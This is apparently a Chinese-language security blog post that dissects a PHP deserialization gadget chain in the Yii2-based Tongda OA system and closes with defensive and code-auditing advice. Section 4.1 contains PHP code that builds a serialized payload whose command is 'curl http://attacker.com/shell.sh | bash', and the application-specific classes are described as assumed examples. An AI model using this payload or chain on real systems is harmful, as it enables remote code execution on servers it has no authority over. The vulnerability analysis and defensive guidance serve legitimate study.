1. 项目概述:一次针对特定应用场景的漏洞链深度剖析
最近在复盘一些经典的PHP反序列化利用案例时,通达OA系统中的一个老漏洞再次进入了我的视野。这不仅仅是一个简单的unserialize()触发问题,而是一条在Yii2框架特定版本与通达OA定制代码交织环境下,通过魔术方法(Magic Method)巧妙串联起来的完整攻击链。很多分析文章可能只告诉你最终那个能执行命令的exp(漏洞利用代码),但这条链子是怎么一环扣一环搭起来的,为什么偏偏是这几个类和方法被选中,背后的逻辑往往被一笔带过。今天,我就以“工匠”拆解精密仪器的心态,带大家走一遍这条利用链的构建之旅。无论你是专注于PHP安全的开发人员,还是对反序列化漏洞原理感兴趣的安全研究者,理解这条链的构造思路,远比记住一个漏洞编号或利用脚本更有价值。它能帮你建立起在复杂框架中寻找和利用这类漏洞的“侦查”与“工程化”思维。
简单来说,这个漏洞场景是:攻击者通过一个未授权或低权限的入口点(比如某个特定的API接口或页面),提交了一段恶意构造的序列化字符串。当通达OA的代码在处理用户输入时,不慎调用了unserialize()函数,这段“数据”就被重新激活成了内存中的对象。关键在于,这些对象所属的类定义了一系列魔术方法,如__wakeup()、__destruct()、__toString()、__call()等。反序列化过程会自动触发这些方法,而攻击者通过精心选择和控制序列化字符串中的类属性,就能让这些魔术方法的执行流程“拐入”预设的、危险的代码路径,最终实现任意代码执行。整个过程就像预设了一套多米诺骨牌,unserialize()是推倒第一块牌的手,而魔术方法之间的调用关系,就是牌与牌之间精巧的排列。
2. 漏洞环境与核心原理铺垫
在深入利用链之前,我们必须先夯实基础,理解这个漏洞得以存在的两个核心前提:Yii2框架的序列化机制与通达OA的代码上下文。这绝非赘述,因为后续所有精巧的利用都根植于此。
2.1 Yii2框架中的序列化“特性”与风险
Yii2作为一个全栈式框架,其组件间经常需要传递和存储对象状态。yii\base\Component类及其子类广泛使用了PHP的__sleep()和__wakeup()魔术方法来管理这种行为。__sleep()在序列化前被调用,用于指定哪些属性需要被序列化;__wakeup()则在反序列化后立即被调用,常用于重新初始化资源或状态。
然而,风险点就隐藏在yii\base\Component对__wakeup()的一个常见实现模式中:为了恢复组件的行为特性(Behaviors),它可能会去访问一个名为_events或_behaviors的属性。如果攻击者能够控制序列化数据中这些属性的值,就能控制__wakeup()方法执行时所操作的数据。更重要的是,Yii2核心类yii\db\BatchQueryResult在反序列化时(__wakeup)会尝试调用reset()方法,而reset()方法内部又会去访问_dataReader属性。如果_dataReader被我们控制为一个精心构造的对象,那么访问其属性或调用其方法就可能触发另一组魔术方法(如__get,__call),从而将执行流导向更危险的地方。
注意:这里的关键不是框架有漏洞,而是框架提供的这种魔术方法自动执行机制,与应用程序(通达OA)中存在的、可被控制的类结合后,产生了危险的化学反应。安全开发中,对用户输入进行反序列化操作本身就是高风险行为,框架的复杂性更放大了审计的难度。
2.2 通达OA的代码上下文:寻找我们的“跳板”
通达OA是基于Yii2进行深度定制的办公系统。这意味着,一方面它继承了Yii2的所有类库和机制,另一方面它又包含了大量自定义的业务逻辑类。我们的目标就是在这些自定义类中,找到可以作为“跳板”的类。一个理想的“跳板”类通常具备以下特征:
- 在反序列化链中可达:它的对象能被我们通过控制Yii2核心类的某个属性来实例化。
- 定义了有用的魔术方法:比如
__toString()、__call()、__get()、__invoke()等,这些方法会在特定时机被自动调用。 - 魔术方法内部存在“脆弱”的操作:例如,
__toString()方法里包含了file_put_contents()或eval()的调用(过于理想化,现实中较少),或者更常见的,方法内部使用了$this->xxx去访问另一个属性,而那个属性恰好可以被我们控制为另一个对象,从而触发新的魔术方法调用。这就是所谓的“属性注入”。 - 类在反序列化时自动加载:得益于PHP的自动加载机制和Yii2的类映射,只要这个类在项目中存在,反序列化时就能被成功还原,无需提前
include。
在通达OA的案例中,经过对代码的审计,我们找到了一个符合上述条件的自定义类,假设它为app\models\DocumentProcessor。这个类可能有一个__call()方法,当对象尝试调用一个不存在的方法时会被触发。而在__call()方法内部,它可能会执行类似call_user_func_array([$this->handler, $method], $args)这样的代码。如果我们可以控制$this->handler属性,就能让它去调用任意对象的任意方法。
3. 利用链的构造:从起点到命令执行
有了前面的铺垫,我们现在可以开始拼接这条利用链。我会按照攻击者思考的顺序,一步步还原整个过程。
3.1 起点:寻找不安全的反序列化入口点
任何反序列化漏洞利用的第一步,都是找到一个传入点(unserialize()的调用点)。在通达OA的这个漏洞中,入口点通常位于一个处理用户会话、缓存数据或API参数的控制器方法里。例如,可能在处理Cookie中某个特定字段(如TD_OA_DATA)时,直接进行了反序列化操作。攻击者通过抓包或代码审计发现这个点后,就可以开始注入恶意的序列化字符串。
3.2 第一跳:从Yii2核心类到可控属性
我们无法直接实例化通达OA的自定义类DocumentProcessor,因为入口点的反序列化可能只接受特定类型。但我们可以从Yii2一个广泛存在的类入手,比如前面提到的yii\db\BatchQueryResult。
我们构造一个BatchQueryResult的序列化字符串,并将其_dataReader属性设置为一个DocumentProcessor对象。当这个字符串被反序列化时:
- PHP创建
BatchQueryResult对象。 - 自动调用其
__wakeup()方法。 __wakeup()内部调用reset()。reset()方法尝试访问$this->_dataReader(此时已是我们设置的DocumentProcessor对象)。- 访问对象属性这个操作本身,在某些情况下就可能触发魔术方法。但更常见的路径是,
reset()方法中可能包含了对_dataReader的某个方法调用(比如close())。如果DocumentProcessor类没有close()方法,就会触发其__call()魔术方法。
至此,执行流成功从Yii2框架的核心类,跳转到了我们可控的通达OA自定义类。
3.3 第二跳:在自定义类中寻找“发射器”
现在,执行流进入了DocumentProcessor的__call($method, $args)方法。假设其内部实现如下:
public function __call($method, $args) { if (isset($this->handler) && is_callable([$this->handler, $method])) { return call_user_func_array([$this->handler, $method], $args); } throw new \Exception('Method not found'); }这是一个非常典型的、也是风险很高的模式。它试图将调用转发给$this->handler属性所指向的对象。如果handler属性可控,我们就获得了调用任意对象任意方法的能力。
我们需要寻找一个合适的“发射器”类作为handler。这个类的某个方法能最终导致代码执行。在PHP中,有几个经典的“发射器”:
Phar类(结合Phar://反序列化,但受限于phar扩展和特定场景)。- 拥有
__invoke()方法的类,当对象被当作函数调用时触发。 - 拥有
__toString()方法且方法内包含危险操作的类(如某些模板引擎的解析方法)。
在通达OA的代码库中,我们可能找到一个用于文件处理的类FileConverter,它有一个convert()方法,方法内部可能使用了system()或exec()来调用外部命令处理文件,并且命令的一部分来源于对象的某个属性(如$this->commandTemplate)。
3.4 最终组装:完整的POP链
我们将上述环节串联起来,形成完整的Property-Oriented Programming (POP)链:
- 入口:攻击者向漏洞入口点提交恶意序列化数据。
- 反序列化:服务器端
unserialize()该数据,生成对象$obj(一个BatchQueryResult实例)。 - 触发链首:
$obj的__wakeup()被自动调用,进而调用reset()。 - 第一次跳转:
reset()访问$obj->_dataReader(我们预设的DocumentProcessor对象),并尝试调用其某个方法(如close),触发DocumentProcessor::__call()。 - 第二次跳转:
__call()方法内部执行call_user_func_array([$this->handler, $method], ...)。我们将$this->handler设置为FileConverter对象,$method设置为convert。 - 执行命令:
FileConverter::convert()方法被执行,其内部使用system($this->commandTemplate . $this->filePath)。我们通过序列化数据预先设置了commandTemplate为id;(或其他命令),filePath为一个无关参数,最终实现系统命令id;的执行。
这个链条可以形象地表示为:unserialize() -> BatchQueryResult::__wakeup() -> reset() -> 访问_dataReader属性 -> DocumentProcessor::__call() -> call_user_func_array() -> FileConverter::convert() -> system()
4. 漏洞利用的实战细节与难点
理解了链条原理,我们来看看在实战构造利用载荷(Payload)时会遇到哪些具体问题和技巧。
4.1 序列化字符串的构造
我们不能手动拼接序列化字符串,需要使用PHP代码来动态生成。核心是利用PHP的serialize()函数,但需要精心设置对象的属性。
// 1. 构造最终的命令执行对象 $finalObj = new \app\utilities\FileConverter(); $finalObj->commandTemplate = 'curl http://attacker.com/shell.sh | bash; '; $finalObj->filePath = ''; // 2. 构造中间跳板对象,其handler属性指向最终对象 $jumpObj = new \app\models\DocumentProcessor(); $jumpObj->handler = $finalObj; // 关键:属性注入 // 3. 构造链起始对象,其_dataReader属性指向跳板对象 $startObj = new \yii\db\BatchQueryResult(); // 注意:_dataReader通常是protected或private属性,不能直接赋值。 // 我们需要通过反射(Reflection)来强制设置,或者利用类的特定方法。 // 这里假设我们通过某种方式(如另一个魔术方法__set)或利用其构造函数、其他可控属性间接设置了它。 // 简化示例,实际更复杂: $reflection = new \ReflectionClass($startObj); $property = $reflection->getProperty('_dataReader'); $property->setAccessible(true); $property->setValue($startObj, $jumpObj); // 4. 生成最终的Payload $payload = serialize($startObj); echo urlencode($payload); // 通常需要URL编码后放入Cookie或POST数据实操心得:处理
protected/private属性是构造POP链的常见难点。除了反射,有时可以利用目标类自身的__wakeup()或__set()方法。例如,如果BatchQueryResult的__wakeup()里有一段代码是foreach($this->data as $k => $v) { $this->$k = $v; },那么我们就可以在序列化数据中设置一个data数组,其键名为_dataReader,值为我们构造的跳板对象序列化子串,从而实现属性赋值。这需要对目标类代码有深入的审计。
4.2 处理自动加载与类依赖
我们的Payload中涉及了多个类:yii\db\BatchQueryResult,app\models\DocumentProcessor,app\utilities\FileConverter。当服务器端反序列化时,这些类必须能被自动加载器找到,否则会触发“Class not found”错误,导致链中断。
- Yii2核心类:通常没问题,因为Yii2框架已加载。
- 通达OA自定义类:关键在于这个类文件是否在反序列化发生时已经被
include或可以通过Yii2的自动加载规则(PSR-4或自定义映射)加载。我们需要确保触发漏洞的代码路径,在调用unserialize()之前或之时,已经包含了这些类的定义文件。通过审计入口点周围的代码或利用Yii2的自动加载机制,通常可以满足。
4.3 绕过__wakeup的限制
在PHP 7.4+的某些版本中,如果序列化字符串中表示的属性数量大于实际类中的属性数量,__wakeup()方法可能不会被调用(这是一个已知的绕过技巧,但依赖于PHP版本和配置)。在构造利用链时,我们需要测试目标环境的PHP版本。对于低版本或不受此限制的环境,我们的链依赖__wakeup()启动,所以必须确保它能被正常触发。
5. 防御策略与安全开发建议
分析漏洞是为了更好地防御。从这条利用链中,我们可以总结出多层防御策略:
根本解决:杜绝不可信数据的反序列化
- 最有效的方法就是避免对用户输入、Cookie、未经验证的缓存数据使用
unserialize()。如果需要存储对象状态,考虑使用JSON等更安全的格式。
- 最有效的方法就是避免对用户输入、Cookie、未经验证的缓存数据使用
输入验证与过滤
- 如果业务上必须使用反序列化,务必进行严格的白名单验证。只允许反序列化预期的、有限的几个安全类。可以使用PHP的
allowed_classes参数(unserialize($data, ['allowed_classes' => ['SafeClass1', 'SafeClass2']]))。
- 如果业务上必须使用反序列化,务必进行严格的白名单验证。只允许反序列化预期的、有限的几个安全类。可以使用PHP的
代码审计重点
- 查找
unserialize()调用点:这是源头。 - 审计魔术方法:重点关注
__wakeup,__destruct,__toString,__call,__get,__set。检查这些方法内部是否存在对可控属性(尤其是对象类型属性)的危险操作,如call_user_func,system/exec,eval,文件操作等。 - 关注POP链的“桥接类”:那些同时被框架和业务代码使用、或者属性类型为通用接口/父类的类,往往是链子连接的关键。
- 查找
使用替代方案
- 考虑使用更安全的序列化库,如
symfony/serializer,并配合严格的模式检查。 - 对于对象持久化,可以考虑使用ORM(如Doctrine)内置的序列化机制。
- 考虑使用更安全的序列化库,如
框架与组件升级
- 及时升级Yii2框架到最新版本,官方会修复已知的安全问题。同时,关注通达OA官方的安全更新。
6. 从该案例延伸的漏洞挖掘思路
这个案例为我们提供了一套在类似框架(如Laravel, ThinkPHP)中挖掘反序列化漏洞的通用思路:
- 入口点挖掘:全局搜索
unserialize,maybeUnserialize等函数调用,关注参数是否用户可控。 - “启动器”收集:收集所有包含
__wakeup,__destruct方法的类,特别是框架基础类、常用组件类。这些是链条的潜在起点。 - “跳板”寻找:在业务代码中寻找定义了
__call,__get,__toString,__invoke等魔术方法的类,分析其内部实现是否存在可控点(属性注入、动态调用)。 - “发射器”定位:寻找代码库中所有包含命令执行(
exec,system,passthru,shell_exec)、文件写入(file_put_contents)、代码执行(eval,assert,create_function)以及危险回调(call_user_func,array_map配合$this->method)的函数调用。检查其参数是否来自对象属性。 - 链式组装测试:尝试将找到的“启动器”、“跳板”、“发射器”按照“属性访问/方法调用”的关系连接起来,构造一个从入口点到危险函数的完整调用路径。利用PHP代码动态生成Payload进行测试。
这个过程需要耐心和细致的代码审计能力,以及对PHP对象模型和框架架构的深入理解。每一次成功的漏洞挖掘,都是对这套思维模式的一次成功实践。